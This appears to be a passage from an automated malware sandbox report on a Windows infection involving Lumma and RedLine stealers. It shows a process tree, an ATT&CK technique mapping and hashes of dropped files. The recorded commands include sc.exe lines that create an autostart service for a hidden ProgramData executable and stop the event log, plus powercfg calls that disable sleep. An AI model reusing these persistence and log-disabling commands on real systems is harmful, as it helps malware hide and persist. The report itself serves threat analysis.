  "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\109635~1\new.exe"
  2⤵
  PID:5280
- - C:\Users\Admin\AppData\Local\Temp\109635~1\new.exe
    C:\Users\Admin\AppData\Local\Temp\109635~1\new.exe
    3⤵
    PID:5668
- C:\Windows\svchost.com
  "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\100016~1\new.exe"
  2⤵
  PID:1172
- - C:\Users\Admin\AppData\Local\Temp\100016~1\new.exe
    C:\Users\Admin\AppData\Local\Temp\100016~1\new.exe
    3⤵
    PID:4932
- C:\Windows\svchost.com
  "C:\Windows\svchost.com" "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll, Main
  2⤵
  PID:5656
- - C:\Windows\SysWOW64\rundll32.exe
    C:\Windows\System32\rundll32.exe C:\Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll, Main
    3⤵
    PID:1684
- C:\Windows\svchost.com
  "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\100016~2\LUMMA1~1.EXE"
  2⤵
  PID:3720
- C:\Windows\svchost.com
  "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\10EB69~1\REDLIN~1.EXE"
  2⤵
  PID:6240
- - C:\Users\Admin\AppData\Local\Temp\10EB69~1\REDLIN~1.EXE
    C:\Users\Admin\AppData\Local\Temp\10EB69~1\REDLIN~1.EXE
    3⤵
    PID:6292
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe delete "ACULXOBT"
      4⤵
      Launches sc.exe
      PID:7032
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe create "ACULXOBT" binpath= "C:\ProgramData\hlkwogclqprr\uwgxswmtctao.exe" start= "auto"
      4⤵
      Launches sc.exe
      PID:5688
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe start "ACULXOBT"
      4⤵
      Launches sc.exe
      PID:6472
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop eventlog
      4⤵
      Launches sc.exe
      PID:5376
- C:\Windows\svchost.com
  "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\100016~4\FILE30~1.EXE"
  2⤵
  PID:1920
- C:\Windows\svchost.com
  "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\100016~3\daissss.exe"
  2⤵
  PID:1832

C:\Users\Admin\AppData\Local\Temp\Files\GOLDKL~1.EXE
C:\Users\Admin\AppData\Local\Temp\Files\GOLDKL~1.EXE
1⤵
PID:4292
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
  2⤵
  PID:6312

C:\Windows\SysWOW64\dialer.exe
"C:\Windows\system32\dialer.exe"
1⤵
PID:4536

C:\Users\Admin\AppData\Local\Temp\Files\autoit.exe
C:\Users\Admin\AppData\Local\Temp\Files\autoit.exe
1⤵
PID:5768

C:\Users\Admin\AppData\Local\Temp\100016~2\LUMMA1~1.EXE
C:\Users\Admin\AppData\Local\Temp\100016~2\LUMMA1~1.EXE
1⤵
PID:2772

C:\Users\Admin\AppData\Local\Temp\Files\native.exe
C:\Users\Admin\AppData\Local\Temp\Files\native.exe
1⤵
PID:512

C:\ProgramData\odvhyxzhhqlu\gzexiztdwrwd.exe
C:\ProgramData\odvhyxzhhqlu\gzexiztdwrwd.exe
1⤵
PID:6892
- C:\Windows\explorer.exe
  explorer.exe
  2⤵
  PID:6924

C:\ProgramData\hlkwogclqprr\uwgxswmtctao.exe
C:\ProgramData\hlkwogclqprr\uwgxswmtctao.exe
1⤵
PID:2404
- C:\Windows\explorer.exe
  explorer.exe
  2⤵
  PID:3420

C:\ProgramData\qrabctnrcogv\uyzpsnbeowaz.exe
C:\ProgramData\qrabctnrcogv\uyzpsnbeowaz.exe
1⤵
PID:5404
- C:\Windows\system32\cmd.exe
  cmd.exe
  2⤵
  PID:1808
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  PID:4724
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  PID:5360
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  PID:6756
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  PID:6844

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\PROGRA~2\Adobe\ACROBA~1\Reader\ACROBR~1.EXE

Filesize
328KB

MD5
39c8a4c2c3984b64b701b85cb724533b

SHA1
c911f4c4070dfe9a35d9adcb7de6e6fb1482ce00

SHA256
888a1dd0033e5d758a4e731e3e55357de866e80d03b1b194375f714e1fd4351d

SHA512
f42ca2962fe60cff1a13dea8b81ff0647b317c785ee4f5159c38487c34d33aecba8478757047d31ab2ee893fbdcb91a21655353456ba6a018fc71b2278db4db2

Download Submit
C:\PROGRA~2\Adobe\ACROBA~1\Reader\ACROTE~1.EXE

Filesize
86KB

MD5
3b73078a714bf61d1c19ebc3afc0e454

SHA1
9abeabd74613a2f533e2244c9ee6f967188e4e7e

SHA256
ded54d1fcca07b6bff2bc3b9a1131eac29ff1f836e5d7a7c5c325ec5abe96e29

SHA512
75959d4e8a7649c3268b551a2a378e6d27c0bfb03d2422ebeeb67b0a3f78c079473214057518930f2d72773ce79b106fd2d78405e8e3d8883459dcbb49c163c4

Download Submit
C:\PROGRA~2\Adobe\ACROBA~1\Reader\ADOBEC~1.EXE

Filesize
1.2MB

MD5
9e3011d26152684a51e8ea71d9fbe5a8

SHA1
d9be7564d22f90728ca0bcaff26fbd4ab966cfc6

SHA256
02a7be7374dfa6b51e2663bead220fe136331d1cb948e1ca568e88512659913b

SHA512
0999c7cdc408283e0b4feb385f7d4e485e31dbbabeccfad1ad00606bd266b051bc81b4ee0481b7e5c3119b98799141ed2b6b9b50dcd9b9d7d7245832d4c621d3

Download Submit
C:\PROGRA~2\Adobe\ACROBA~1\Reader\ADelRCP.exe

Filesize
175KB

MD5
576410de51e63c3b5442540c8fdacbee

SHA1
8de673b679e0fee6e460cbf4f21ab728e41e0973

SHA256
3f00404dd591c2856e6f71bd78423ed47199902e0b85f228e6c4de72c59ddffe

SHA512
f7761f3878775b30cc3d756fa122e74548dfc0a27e38fa4109e34a59a009df333d074bf14a227549ae347605f271be47984c55148685faac479aeb481f7191db

Download Submit
C:\PROGRA~2\Adobe\ACROBA~1\Reader\AcroCEF\RdrCEF.exe

Filesize
1.2MB

MD5
faf57003254aa049bda676a536e9047b

SHA1
9fce728b12f0dd3016ca8fbb671a755cc2134f2b

SHA256
75ba7462ae565b70c71d5e8e2c3a7cca645e8121d23e368ab4a9409e454db2d6

SHA512
2c109a2500bc29d482290de9534a4ea7fa02d28c438d21a76e5c9fcad3519b31720fd1d6a626ed8ecd522e22217ec2e88341c60f42cdd1b22349c0333bd39813

Download Submit
C:\PROGRA~2\Adobe\ACROBA~1\Reader\AcroRd32.exe

Filesize
1.1MB

MD5
894fed786b187b73b3b6585abc5a990b

SHA1
060df76c8fd5c8c5cfcec9f16f4f9d074ab2e24a

SHA256
2625babba7bb189eef69cc9bf0c4c3cf169ee0f6c9a60e1154985000419fb310

SHA512
94ac4fbf3006d316adf2677831b8c669dc4e5b22ba476b65141a6a44bbca3e1c4534251009c3d89b0688ffb334b5aca67ea6917082138cbeb0a7584ffc42b672

Download Submit
C:\PROGRA~2\Adobe\ACROBA~1\Reader\Browser\WCCHRO~1\WCCHRO~1.EXE

Filesize
183KB

MD5
9dfcdd1ab508b26917bb2461488d8605

SHA1
4ba6342bcf4942ade05fb12db83da89dc8c56a21

SHA256
ecd5e94da88c653e4c34b6ab325e0aca8824247b290336f75c410caa16381bc5

SHA512
1afc1b95f160333f1ff2fa14b3f22a28ae33850699c6b5498915a8b6bec1cfc40f33cb69583240aa9206bc2ea7ab14e05e071275b836502a92aa8c529fc1b137

Download Submit
C:\PROGRA~2\Adobe\ACROBA~1\Reader\Eula.exe

Filesize
131KB

MD5
5791075058b526842f4601c46abd59f5

SHA1
b2748f7542e2eebcd0353c3720d92bbffad8678f

SHA256
5c3ef3ec7594c040146e908014791dd15201ba58b4d70032770bb661b6a0e394

SHA512
83e303971ed64019fde9e4ba6f6e889f8fb105088490dfa7dcf579a12baff20ef491f563d132d60c7b24a4fd3cac29bd9dc974571cd162000fae8fba4e0e54fb

Download Submit
C:\PROGRA~2\Adobe\ACROBA~1\Reader\FULLTR~1.EXE

Filesize
254KB

MD5
4ddc609ae13a777493f3eeda70a81d40

SHA1
8957c390f9b2c136d37190e32bccae3ae671c80a

SHA256
16d65f2463658a72dba205dcaa18bc3d0bab4453e726233d68bc176e69db0950

SHA512
9d7f90d1529cab20078c2690bf7bffab5a451a41d8993781effe807e619da0e7292f991da2f0c5c131b111d028b3e6084e5648c90816e74dfb664e7f78181bc5

Download Submit
C:\PROGRA~2\Adobe\ACROBA~1\Reader\LOGTRA~1.EXE

Filesize
386KB

MD5
8c753d6448183dea5269445738486e01

SHA1
ebbbdc0022ca7487cd6294714cd3fbcb70923af9

SHA256
473eb551101caeaf2d18f811342e21de323c8dd19ed21011997716871defe997

SHA512
4f6fddefc42455540448eac0b693a4847e21b68467486376a4186776bfe137337733d3075b7b87ed7dac532478dc9afc63883607ec8205df3f155fee64c7a9be

Download Submit
C:\PROGRA~2\Adobe\ACROBA~1\Reader\READER~1.EXE

Filesize
92KB

MD5
176436d406fd1aabebae353963b3ebcf

SHA1
9ffdfdb8cc832a0c6501c4c0e85b23a0f7eff57a

SHA256
2f947e3ca624ce7373080b4a3934e21644fb070a53feeaae442b15b849c2954f

SHA512
a2d1a714e0c1e5463260c64048ba8fd5064cfa06d4a43d02fc04a30748102ff5ba86d20a08e611e200dc778e2b7b3ae808da48132a05a61aa09ac424a182a06a

Download Submit
C:\PROGRA~2\Adobe\ACROBA~1\Reader\WOW_HE~1.EXE

Filesize
147KB

MD5
3b35b268659965ab93b6ee42f8193395

SHA1
8faefc346e99c9b2488f2414234c9e4740b96d88

SHA256
750824b5f75c91a6c2eeb8c5e60ae28d7a81e323d3762c8652255bfea5cba0bb

SHA512
035259a7598584ddb770db3da4e066b64dc65638501cdd8ff9f8e2646f23b76e3dfffa1fb5ed57c9bd15bb4efa3f7dd33fdc2e769e5cc195c25de0e340eb89ab

Download Submit
C:\PROGRA~2\Adobe\ACROBA~1\Reader\arh.exe

Filesize
125KB

MD5
cce8964848413b49f18a44da9cb0a79b

SHA1
0b7452100d400acebb1c1887542f322a92cbd7ae

SHA256
fe44ca8d5050932851aa54c23133277e66db939501af58e5aeb7b67ec1dde7b5

SHA512
bf8fc270229d46a083ced30da6637f3ca510b0ce44624a9b21ec6aacac81666dffd41855053a936aa9e8ea6e745a09b820b506ec7bf1173b6f1837828a35103d

Download Submit
C:\PROGRA~2\Adobe\ACROBA~1\Reader\plug_ins\PI_BRO~1\32BITM~1.EXE

Filesize
142KB

MD5
92dc0a5b61c98ac6ca3c9e09711e0a5d

SHA1
f809f50cfdfbc469561bced921d0bad343a0d7b4

SHA256
3e9da97a7106122245e77f13f3f3cc96c055d732ab841eb848d03ac25401c1bc

SHA512
d9eefb19f82e0786d9be0dbe5e339d25473fb3a09682f40c6d190d4c320cca5556abb72b5d97c6b0da4f8faefdc6d39ac9d0415fdf94ebcc90ecdf2e513c6a31

Download Submit
C:\PROGRA~2\Adobe\ACROBA~1\Reader\plug_ins\PI_BRO~1\64BITM~1.EXE

Filesize
278KB

MD5
12c29dd57aa69f45ddd2e47620e0a8d9

SHA1
ba297aa3fe237ca916257bc46370b360a2db2223

SHA256
22a585c183e27b3c732028ff193733c2f9d03700a0e95e65c556b0592c43d880

SHA512
255176cd1a88dfa2af3838769cc20dc7ad9d969344801f07b9ebb372c12cee3f47f2dba3559f391deab10650875cad245d9724acfa23a42b336bfa96559a5488

Download Submit
C:\PROGRA~2\COMMON~1\Adobe\ARM\1.0\ADOBEA~1.EXE

Filesize
454KB

MD5
bcd0f32f28d3c2ba8f53d1052d05252d

SHA1
c29b4591df930dabc1a4bd0fa2c0ad91500eafb2

SHA256
bb07d817b8b1b6b4c25e62b6120e51dec10118557d7b6b696ad084a5ba5bfdeb

SHA512
79f407735853f82f46870c52058ceee4d91857a89db14868ee1169abd5c0fd2e3fa1ed230ab90b5f479a9581b88998643d69b0df498defea29e73b0d487f3b10

Download Submit
C:\PROGRA~2\COMMON~1\Adobe\ARM\1.0\AdobeARM.exe

Filesize
605KB

MD5
3cfc0e43e1cac726a808259bec2ff9c8

SHA1
389b3aef8ab910132fad66f17fdbb783beddeaed

SHA256
00bbbf5017d6ac8314c6591cd83627771930948a6d18c3511efcddc0a745173d

SHA512
35bac9c72028458744796a36e7274ad6ed8f4fb06de66e51c7741d632ae31074187d7b7f204b4db907cf6a05e2529b4e8a6edb5b7f75ba4cb44422965a8e2823

Download Submit
C:\PROGRA~2\COMMON~1\Java\JAVAUP~1\jucheck.exe

Filesize
545KB

MD5
fb21df43ddf35448ec2027cdcb392be3

SHA1
e4b328058c50efb0242fc847196b026702c97672

SHA256
07c99ba0d5906be12fdc0a3f13be5b7ba26352df9b32cbedbbb66f48068c9f7c

SHA512
28f71f93955c81e27fd569c1b9add7fd27996e721f787f6da6ac80210fedeb8b8162d64705f66b8f8040407a183c50bfc87eaa05362a1bd38a49e20b2cae28d7

Download Submit
C:\PROGRA~2\COMMON~1\Java\JAVAUP~1\jusched.exe

Filesize
561KB

MD5
950ae2195171f02555186c67edf87cf1

SHA1
bb9c780f714c8ec4e04de3d10c4c094bedbe7371

SHA256
fdc7ea16ebf6a38da53336bc7704123a732421d2e3b4525f065355c5111175d0

SHA512
1d99b5703e10c13d412f0d2672068906e771784155aec56a661dfe35a96d9666726d3911defc57511dc2711119b89016edb3c75908516cc63ae1c03291121e99

Download Submit
C:\PROGRA~2\COMMON~1\Oracle\Java\JAVAPA~1\javaws.exe

Filesize
229KB

MD5
01dba8eca68e8c1f403391b3bab31c5a

SHA1
a031252b1fb7cb3e938131328fc9a5cbe1924508

SHA256
cc40d3f3685ef5668696ab8f6f0b934cb73b5eb91c4c2805ed31356c3f1aabd3

SHA512
0d281bf39c392f5b0aee2e39c5ddc1e4dbd2535fff22ab5836788c0af0bc569834bc29cd9031947d628386efe8efd427bbdf6cb35bbe57c6da92b8f720d17fcf

Download Submit
C:\PROGRA~2\COMMON~1\Oracle\Java\javapath\java.exe

Filesize
325KB

MD5
9a8d683f9f884ddd9160a5912ca06995

SHA1
98dc8682a0c44727ee039298665f5d95b057c854

SHA256
5e2e22ead49ce9cc11141dbeebbe5b93a530c966695d8efc2083f00e6be53423

SHA512
6aecf8c5cb5796d6879f8643e20c653f58bad70820896b0019c39623604d5b3c8a4420562ab051c6685edce60aa068d9c2dbb4413a7b16c6d01a9ac10dc22c12

Download Submit
C:\PROGRA~2\COMMON~1\Oracle\Java\javapath\javaw.exe

Filesize
325KB

MD5
892cf4fc5398e07bf652c50ef2aa3b88

SHA1
c399e55756b23938057a0ecae597bd9dbe481866

SHA256
e2262c798729169f697e6c30e5211cde604fd8b14769311ff4ea81abba8c2781

SHA512
f16a9e4b1150098c5936ec6107c36d47246dafd5a43e9f4ad9a31ecab69cc789c768691fa23a1440fae7f6e93e8e62566b5c86f7ed6bb4cfe26368149ea8c167

Download Submit
C:\PROGRA~2\Google\Update\1336~1.151\GO664E~1.EXE

Filesize
155KB

MD5
96a14f39834c93363eebf40ae941242c

SHA1
5a3a676403d4e6ad0a51d0f0e2bbdd636ae5d6fc

SHA256
8ee4aa23eb92c4aba9a46b18ac249a5fa11c5abb7e2c1ca82cd5196401db790a

SHA512
fbf307a8053e9478a52cfdf8e8bad3d7c6664c893458786ae6ee4fffc6fe93006e99a2a60c97fb62dad1addd5247621517f4edee5d9545717c4587a272cef9a2

Download Submit
C:\PROGRA~2\Google\Update\1336~1.151\GOBD5D~1.EXE

Filesize
230KB

MD5
e5589ec1e4edb74cc7facdaac2acabfd

SHA1
9b12220318e848ed87bb7604d6f6f5df5dbc6b3f

SHA256
6ce92587a138ec07dac387a294d0bbe8ab629599d1a2868d2afaccea3b245d67

SHA512
f36ab33894681f51b9cec7ea5a738eb081a56bcd7625bdd2f5ef2c084e4beb7378be8f292af3aeae79d9317ba57cc41df89f00aef52e58987bdb2eac3f48171a

Download Submit
C:\PROGRA~2\Google\Update\1336~1.151\GOF5E2~1.EXE

Filesize
155KB

MD5
f7c714dbf8e08ca2ed1a2bfb8ca97668

SHA1
cc78bf232157f98b68b8d81327f9f826dabb18ab

SHA256
fc379fda348644fef660a3796861c122aa2dd5498e80279d1279a7ddb259e899

SHA512
28bc04c4df3f632865e68e83d045b3ecd2a263e62853c922b260d0734026e8a1541988fcbf4ddc9cf3aba6863214d6c6eb51f8bbb2586122a7cb01a70f08d16c

Download Submit
C:\PROGRA~2\Google\Update\1336~1.151\GOOGLE~1.EXE

Filesize
207KB

MD5
3b0e91f9bb6c1f38f7b058c91300e582

SHA1
6e2e650941b1a96bb0bb19ff26a5d304bb09df5f

SHA256
57c993cadf4bf84810cea23a7112c6e260624beaab48d0e4332d3462900fec1d

SHA512
a4fbe28a0135f4632e0a5b6bd775f8d010250b0fbfe223db1fe81d18552a6bc166ebce807853ba02e6a476e9829454805e415ca828a5e043bd1e63dc53599d0f

Download Submit
C:\PROGRA~2\Google\Update\1336~1.151\GOOGLE~2.EXE

Filesize
265KB

MD5
25e165d6a9c6c0c77ee1f94c9e58754b

SHA1
9b614c1280c75d058508bba2a468f376444b10c1

SHA256
8bbe59987228dd9ab297f9ea34143ea1e926bfb19f3d81c2904ab877f31e1217

SHA512
7d55c7d86ccabb6e9769ebca44764f4d89e221d5756e5c5d211e52c271e3ce222df90bc9938248e2e210d6695f30f6280d929d19ef41c09d3ea31688ae24d4bf

Download Submit
C:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exe

Filesize
1.8MB

MD5
51ef253573361f6c98326b0462f5ce83

SHA1
7c96435052fc733bcc2cc50e6c502984d12e06ac

SHA256
597bd4137eba96a91b80265692e854c26d0417fd3c2691eedae443752ee3264d

SHA512
9b6c79df1221873742a6ce8c9b3546b9e469dbe04e9bd14a8912f59c479062d7273ea954134d9996eafa3a1dd8f279864ae0ce8ba8285e0e3f21da36e240fa08

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000148001\dota.exe

Filesize
1.2MB

MD5
38b245296f6d58d75432937483608354

SHA1
a6f49ac205250264110df7198534a0bfd1421501

SHA256
02451102d437672634573dc348e7289fceb09ca075aee198cfbfdfd936fa565d

SHA512
13c69c630e24efbb5c009db67271784b6db78146077da43247f4f9db2ddc972d734c3d242e0bc3eef3a8a1f996c4632f5fa63099f598d6ab279b3632f0f11f15

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000150001\newfilelunacy.exe

Filesize
539KB

MD5
c1982b0fb28f525d86557b71a6f81591

SHA1
e47df5873305fbcdb21097936711442921cd2c3b

SHA256
3bab5e1befbdc895d9e36e76cb9a40e59de61a34109c36ed26d7dedcd5db3080

SHA512
46dcabbfb57b3665faa76bc6f58b6f252934788acabbf2ba75263d42cac8c013f6feb5992a7043123842a609bdd1b3084f2f0c8b192c2b219b87274d29f8c432

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000153001\for.exe

Filesize
384KB

MD5
61231720927ffe881c7ef3b1da462967

SHA1
3a994cc04ff1ec082868b8bc00d41c4c5437f209

SHA256
81e46ebc4bf38913059216f41dcbcd96da03c26a9ff7dbd33e0ad26e2cf5c011

SHA512
f45ed6da5a821db296bcf1e4933d8d6e46bbc9552ea78bbde31b7bce44bb869510a821ea5ac76922babf8205018b373c332a3116c1b26566279f4da84694ef6b

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000154001\Goldprime.exe

Filesize
334KB

MD5
7e9e39a623a04307eb499ff6617b9746

SHA1
8d96a7b6464765f32a86e9103955ec74b9b87da9

SHA256
88cb62dfdf42ef1b6c083b8c25df0a383476a274ae1e1f0043585d4bdfd1217a

SHA512
bae1719b17d910ae001e0e81f9b5af535d844243ff9974da4794e73e73db115f46cc6d9053cedd4dab1b04416ec444774490cbab9b5dac8310aad43fde7c32a1

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000155001\mrk1234.exe

Filesize
256KB

MD5
6acabfbf3067cc65eff0ad8b5b1713d6

SHA1
a5475b92d6d66f369adcc6049f6ac187e660ecfb

SHA256
504ade6da126086149c10be85a8939cda46d2e54eb9b0e377a8845da56605bae

SHA512
d1de774725d36e817477a0c7f08aaab558a0352f424a3a60a5ef8b70d7778c70c5f990ccb34466154f4ecd058772af6d001a2fcc643179136c8f75bfbd3b9166

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000156001\dayroc.exe

Filesize
576KB

MD5
82015b3dd714a746f75118030a72fca8

SHA1
12f0c180919502e54f72415b21aece9490acd553

SHA256
8468466e4b0e30f22bc97415dff2e568a663d28f37c4066fc50b32894383636b

SHA512
d6e0b968254912881227d274b378aa51d06334b28daa1676bdadfbe26a840fb22cbd6293faab24b2cca694251f8b7223820367027a132bd4b00c38019b7e9ebb

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000157001\RDX.exe

Filesize
313KB

MD5
f733785f9d088490b784d4dc5584ebfb

SHA1
6c073d4208fee7cc88a235a3759b586889b91adf

SHA256
e7216d8b7084c0c36d90aefaf30bb7b6d10ae2ecae700889d459ed5ab1b26a59

SHA512
43589b18333b0edcd6e300577f86de685058df5533bcbfdd3e30497aa76176008125fbd28deecaca5e6132c42cc5c0a583c34497f40dbe4ea577333eaebab899

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000159001\new.exe

Filesize
313KB

MD5
f7df4f6867414bb68132b8815f010e4a

SHA1
ff3b43447568de645671afb2214b26901ad7a4fc

SHA256
2c9490406c7ea631dddcd60f862445faef37c036651636e4bf5e6fe0837c4b42

SHA512
0ad9b1544c25ae7814fe1ecdb1cfd466fd14603a6d55749e63ce6b90926ad239f134aef1bcaa0910b79235b8a3873ad11698e17dbd0cfee92fb909f4daf0412e

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000162001\lumma123142124.exe

Filesize
600KB

MD5
cad41f50c144c92747eee506f5c69a05

SHA1
f08fd5ec92fd22ba613776199182b3b1edb4f7b2

SHA256
1ac5eed2f7fc98b3d247240faa30f221f5692b15ea5b5c1eba3390709cb025c6

SHA512
64b89f3a3b667cd81f33985db9c76ffd0bb716ce8ed93f97c24d3c20e7236d91d02af9371a26d41f55b564702bd1f6fd7489055868fcd1610c04beb79ae8c045

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000163001\daissss.exe

Filesize
421KB

MD5
10a331a12ca40f3293dfadfcecb8d071

SHA1
ada41586d1366cf76c9a652a219a0e0562cc41af

SHA256
b58eec6e5aabc701404d5b5556c86fff5cc103c69eeda00061e838c4f122288f

SHA512
1a5b8e77ddbab97bb4c848adbcd7dbfb9ca84307d1844dba9572fcea48a2cbb091a3fc52663b87568416adf18a1338adc07aab0bd5f1ab36a03c8ff8a035d399

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000167001\File300un.exe

Filesize
57KB

MD5
d6dfbfe703fc30a8f86a6c43249d88c5

SHA1
c0680a0cb860019f5baa0f132a93f90ab170c632

SHA256
1181833e6778383218e3f61436910bed80872c6ccb85c99e2de96657afb9308d

SHA512
7d7abe19fb82ed050c953353bd0609d348e880d86bf1d77d497c2afec4e6c4e0f5e0dc8487913991270370f9cf4167258e1f1c28b0a1c49e796a2f2274fca657

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000169001\redline1234.exe

Filesize
576KB

MD5
0b5886e21a09557bca7b60854750593b

SHA1
e3b25446d55391a3a63c38242ed331b278a686d3

SHA256
5d802674bbdb5772cfd0fb6a030b5c62aba6de74f25be68f7e102340edab59ab

SHA512
628f7274c269d60abcb83bc9592d29dbd947cb76c53995d86a5cda8f68825ebbd3dd3a09e5cfd408c7dd3fc77a3a68d9ce3d887a2fb28b2c024d43c1d8133406

Download Submit
C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe

Filesize
160KB

MD5
3652063039c5c27c592b3ff085174e88

SHA1
cb2e2b239eef45dc9e154e4479839b0ebdda4ca2

SHA256
9242dd02ae93029034f35ee68d05d9426cf6f0d2c94ffe1003e5d3eea037da33

SHA512
796921b62d374b8b050d5b024a7febb8ee74b6683b5089bd3815b082f59ff2db6a4368a3d1e4ef4db4d2dac6b0806235d80435b75d61631f03fe725a8b9d4380

Download Submit
C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe

Filesize
67KB

MD5
30e4e9335b0f5935fdefd18fcdab0347

SHA1
2f1ac9d1229797533a209b534d22c79400bfdd9e

SHA256
805075907b7498d35b6b1851201dcf9e763e15911c277cb8fd3d6f7cf2483e5a

SHA512
d98a24dad53af0984e527d09e01e1b450541422d54ddfa7174b19f9dae73d72977e44b15396ebfaa6c2ff634e2f6a249b3c3e2aea45b0063d744f92e1cc460ce

Download Submit
C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe

Filesize
192KB

MD5
dfb890560d1e681f86c4ed8c311b4e47

SHA1
64b81e2ecc52b94b2bce045f8c30f236eb5e2d01

SHA256
31824d3a18ccf6cdad7fa182db997f7d0ece4abb4a25fd369bc21e327fd432aa

SHA512
1eaccd5293d469477a2bf10240d14a97eb622c31c4fd5d2a5b8f8faa2f3f906afd3a1a49cf25fe40627e054814db8fbd52ec46840cbeb1d752b4fad1e77560b5

Download Submit
C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe

Filesize
213KB

MD5
d4e7679b9dc6c3cc59c75614a3eb019a

SHA1
56a9f1ff94fab89ae2c47a556d542daa4b02f647

SHA256
9362ad0b9955d648ef520ced41faf272b1912351a46b0985791b31de6102c760

SHA512
0a5a0c69059708be4de9f2c7399af7c10e354a0b4518f202e58494bc992a4843883ef0f257430b915f6ef31eca5fadf9a4b6b0af9dc22753136198aa44a82e16

Download Submit
C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe

Filesize
207KB

MD5
dd1f1e11c51fe9f2d9646e348bdd38b2

SHA1
790aa328ffbcd26d8430ee5dddf89b52ade0ee60

SHA256
14d1eddd93741c91eb3c0e0732066489f9313ab5a447313ec2240ce1eb447b3d

SHA512
d972283bed3d8fae04c78d46341e346d8562dad5cf7ef60f7574f30a1fa11c5b98a759ff3e51014e47521d5ef2aeb61ebf66cb7866d88bafc69a16b8b81fb7da

Download Submit
C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe

Filesize
120KB

MD5
8dbcbcb4551bedc033b271a5d9bd0f55

SHA1
877a864bf04d48bb4ef231c330eb0799fb0c7478

SHA256
9f0adbcba227e8f29bbf15af04110652a6cb499f419f290c00b3b1137ce8212e

SHA512
ae89cae44a1e9e7afebd4570f73ea41183c2e76832b9023b2b8e353770bc1c3ed3777f86584cf004f9fa312ce1773e63d3922f892a7aaddfbb62c239b8577ba8

Download Submit
C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe

Filesize
136KB

MD5
2438f3c88f71bf382fe1f00c25943ebd

SHA1
8c7aa88da801eaa6e16d8a789f52922250698e28

SHA256
9a7732d05a94b2ab38d327542edd90f0df5b069bab7ea98b9cb3d4ca5bf2ddbb

SHA512
fa69ff0978605c505db1527179f16b320bbd82641e2644b36a4bf874dc4f4dce11a0acef60f6292e4fe480b33486b2a976fec1ed6ef734f421d97ac78d8985ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\AITMP0\ailogo.ico

Filesize
21KB

MD5
044f9f53d150bdab3e7a7b5727181102

SHA1
c95c7c1a003eeff2c1b7222eca73cecea6ead949

SHA256
3342a6ed58e4e6fe6566c3f379346ac96fbb5819446d67bb4b88b67729f3772f

SHA512
369f999acc2c45ac784b7396a1287b9aedd02036e87b6397e01d23be9a5b5711578b9d07a65690e8aef2d081ef5cbd463f32ba6ed4f2ec692afd9c93c6b560ec

Download Submit
C:\Users\Admin\AppData\Local\Temp\Files\Screensaver.exe

Filesize
72KB

MD5
19641940c87adf2e125b5b85f8d242a7

SHA1
dd76a18cc6826b3a4a64eedca2dc9026714a3d9e

SHA256
6eadbbb4368eb760df9ccec6ea44a3d6b63c05f224738dc0e7c06db528ba85f8

SHA512
e498e110e84db19e0277401d833080931439c1f846bbb8297c93c0bbb25f6f74146994af67a96a4abcdd42d9a62145c8ebff9b7ddf9a9bb3d1ab156a6a9600c3

Download Submit
C:\Users\Admin\AppData\Local\Temp\Files\native.exe

Filesize
512KB

MD5
7d4777ed6d9818a912c0cefc9f12dcfc

SHA1
48001b580d7a36f39823fd391411b3a32e39faba

SHA256
6862447b716d9ebac197fad0eda503fc81576fd86de9871dbfb82586b60751f6

SHA512
b898461eb44a0dd1958581a0e0cbb18b7d5ba88dcfc652bea73d84361936c1a90c40aacb4c3bf4dbfe424ddf441460c5342a5b5acb5f6605d355cefc62890414

Download Submit
